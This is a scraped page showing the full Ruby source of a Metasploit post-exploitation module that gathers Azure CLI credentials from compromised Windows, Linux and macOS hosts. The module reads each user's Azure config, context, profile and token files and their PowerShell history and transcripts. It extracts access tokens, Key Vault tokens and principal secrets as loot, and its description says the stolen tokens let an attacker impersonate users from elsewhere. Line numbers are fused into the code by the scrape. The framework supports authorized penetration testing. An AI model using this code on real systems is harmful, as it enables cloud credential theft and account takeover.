Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/azure_cli_creds.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Unix8include Msf::Post::Windows::UserProfiles9include Msf::Post::Azure1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Azure CLI Credentials Gatherer',16'Description' => %q{17This module will collect the Azure CLI 2.0+ (az cli) settings files18for all users on a given target. These configuration files contain19JWT tokens used to authenticate users and other subscription information.20Once tokens are stolen from one host, they can be used to impersonate21the user from a different host.22},23'License' => MSF_LICENSE,24'Author' => [25'James Otten <jamesotten1[at]gmail.com>', # original author26'h00die' # additions27],28'Platform' => ['win', 'linux', 'osx'],29'SessionTypes' => ['meterpreter'],30'Notes' => {31'Stability' => [CRASH_SAFE],32'Reliability' => [],33'SideEffects' => []34}35)36)37end3839def rep_creds(user, pass, type)40create_credential_and_login({41# must have an IP address, can't be a domain...42address: '13.107.246.69', # 'portal.azure.com' https://www.nslookup.io/domains/portal.azure.com/dns-records/ June 24, 202443port: 443,44protocol: 'tcp',45workspace_id: myworkspace_id,46origin_type: :service,47private_type: :password, # most are actually JWT (cookies?) but thats not an option48private_data: pass,49service_name: "azure: #{type}",50module_fullname: fullname,51username: user,52status: Metasploit::Model::Login::Status::UNTRIED53})54end5556def parse_json(data)57data.strip!58# remove BOM, https://www.qvera.com/kb/index.php/2410/csv-file-the-start-the-first-header-column-name-can-remove-this59data.gsub!("\xEF\xBB\xBF", '')60json_blob = nil61begin62json_blob = JSON.parse(data)63rescue ::JSON::ParserError => e64print_error("Unable to parse json blob: #{e}")65end66json_blob67end6869def user_dirs70user_dirs = []71if session.platform == 'windows'72grab_user_profiles.each do |profile|73user_dirs.push(profile['ProfileDir'])74end75elsif session.platform == 'linux' || session.platform == 'osx'76user_dirs = enum_user_directories77else78fail_with(Failure::BadConfig, 'Unsupported platform')79end80user_dirs81end8283def get_az_version84command = 'az --version'85command = "powershell.exe #{command}" if session.platform == 'windows'86version_output = cmd_exec(command, 60)87# https://rubular.com/r/IKvnY4f15Rfujx88version_output.match(/azure-cli\s+\(?([\d.]+)\)?/)89end9091def run92version = get_az_version93if version.nil?94print_status('Unable to determine az cli version')95else96print_status("az cli version: #{version[1]}")97end98profile_table = Rex::Text::Table.new(99'Header' => 'Subscriptions',100'Indent' => 1,101'Columns' => ['Account Name', 'Username', 'Cloud Name']102)103tokens_table = Rex::Text::Table.new(104'Header' => 'Tokens',105'Indent' => 1,106'Columns' => ['Source', 'Username', 'Count']107)108context_table = Rex::Text::Table.new(109'Header' => 'Context',110'Indent' => 1,111'Columns' => ['Username', 'Account Type', 'Access Token', 'Graph Access Token', 'MS Graph Access Token', 'Key Vault Token', 'Principal Secret']112)113114user_dirs.map do |user_directory|115vprint_status("Looking for az cli data in #{user_directory}")116# leaving all these as lists for consistency and future expansion117118# ini file content, not json.119vprint_status(' Checking for config files')120%w[.azure/config].each do |file_location|121possible_location = ::File.join(user_directory, file_location)122next unless exists?(possible_location)123124# we would prefer readable?, but windows doesn't support it, so avoiding125# an extra code branch, just handle read errors later on126127data = read_file(possible_location)128next unless data129130# https://stackoverflow.com/a/16088751/22814155 no ini ctype131loot = store_loot 'azure.config.ini', 'text/plain', session, data, file_location, 'Azure CLI Config'132print_good " #{file_location} stored in #{loot}"133end134135vprint_status(' Checking for context files')136%w[.azure/AzureRmContext.json].each do |file_location|137possible_location = ::File.join(user_directory, file_location)138next unless exists?(possible_location)139140data = read_file(possible_location)141next unless data142143loot = store_loot 'azure.context.json', 'text/json', session, data, file_location, 'Azure CLI Context'144print_good " #{file_location} stored in #{loot}"145data = parse_json(data)146next if data.nil?147148results = process_context_contents(data)149results.each do |result|150context_table << result151next if result[0].blank?152next unless framework.db.active153154rep_creds(result[0], result[2], 'Access Token') unless result[2].blank?155rep_creds(result[0], result[3], 'Graph Access Token') unless result[3].blank?156rep_creds(result[0], result[4], 'MS Graph Access Token') unless result[4].blank?157rep_creds(result[0], result[5], 'Key Vault Token') unless result[5].blank?158rep_creds(result[0], result[6], 'Principal Secret') unless result[6].blank?159end160end161162vprint_status(' Checking for profile files')163%w[.azure/azureProfile.json].each do |file_location|164possible_location = ::File.join(user_directory, file_location)165next unless exists?(possible_location)166167data = read_file(possible_location)168next unless data169170loot = store_loot 'azure.profile.json', 'text/json', session, data, file_location, 'Azure CLI Profile'171print_good " #{file_location} stored in #{loot}"172data = parse_json(data)173next if data.nil?174175results = process_profile_file(data)176results.each do |result|177profile_table << result178end179end180181%w[.azure/accessTokens.json].each do |file_location|182possible_location = ::File.join(user_directory, file_location)183next unless exists?(possible_location)184185data = read_file(possible_location)186next unless data187188loot = store_loot 'azure.token.json', 'text/json', session, data, file_location, 'Azure CLI Tokens'189print_good " #{file_location} stored in #{loot}"190results = process_tokens_file(data)191results.each do |result|192tokens_table << result193end194end195196# windows only197next unless session.platform == 'windows'198199vprint_status(' Checking for console history files')200%w[AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt].each do |file_location|201possible_location = ::File.join(user_directory, file_location)202next unless exists?(possible_location)203204data = read_file(possible_location)205next unless data206207loot = store_loot 'azure.console_history.txt', 'text/plain', session, data, possible_location, 'Azure CLI Profile'208print_good " #{possible_location} stored in #{loot}"209210results = print_consolehost_history(data)211results.each do |result|212print_good(result)213end214end215216# https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.host/start-transcript?view=powershell-7.4#description217vprint_status(' Checking for powershell transcript files')218219# Post failed: Rex::Post::Meterpreter::RequestError stdapi_fs_ls: Operation failed: Access is denied.220begin221files = dir("#{user_directory}/Documents")222rescue Rex::Post::Meterpreter::RequestError223files = []224end225226files.each do |file_name|227next unless file_name =~ /PowerShell_transcript\.[\w_]+\.[^.]+\.\d+\.txt/228229possible_location = "#{user_directory}/Documents/#{file_name}"230data = read_file(possible_location)231next unless data232233loot = store_loot 'azure.transcript.txt', 'text/plain', session, data, possible_location, 'Powershell Transcript'234print_good " #{possible_location} stored in #{loot}"235236results = print_consolehost_history(data)237results.each do |result|238print_good(result)239end240end241end242243print_good(profile_table.to_s) unless profile_table.rows.empty?244print_good(tokens_table.to_s) unless tokens_table.rows.empty?245print_good(context_table.to_s) unless context_table.rows.empty?246end247end248249250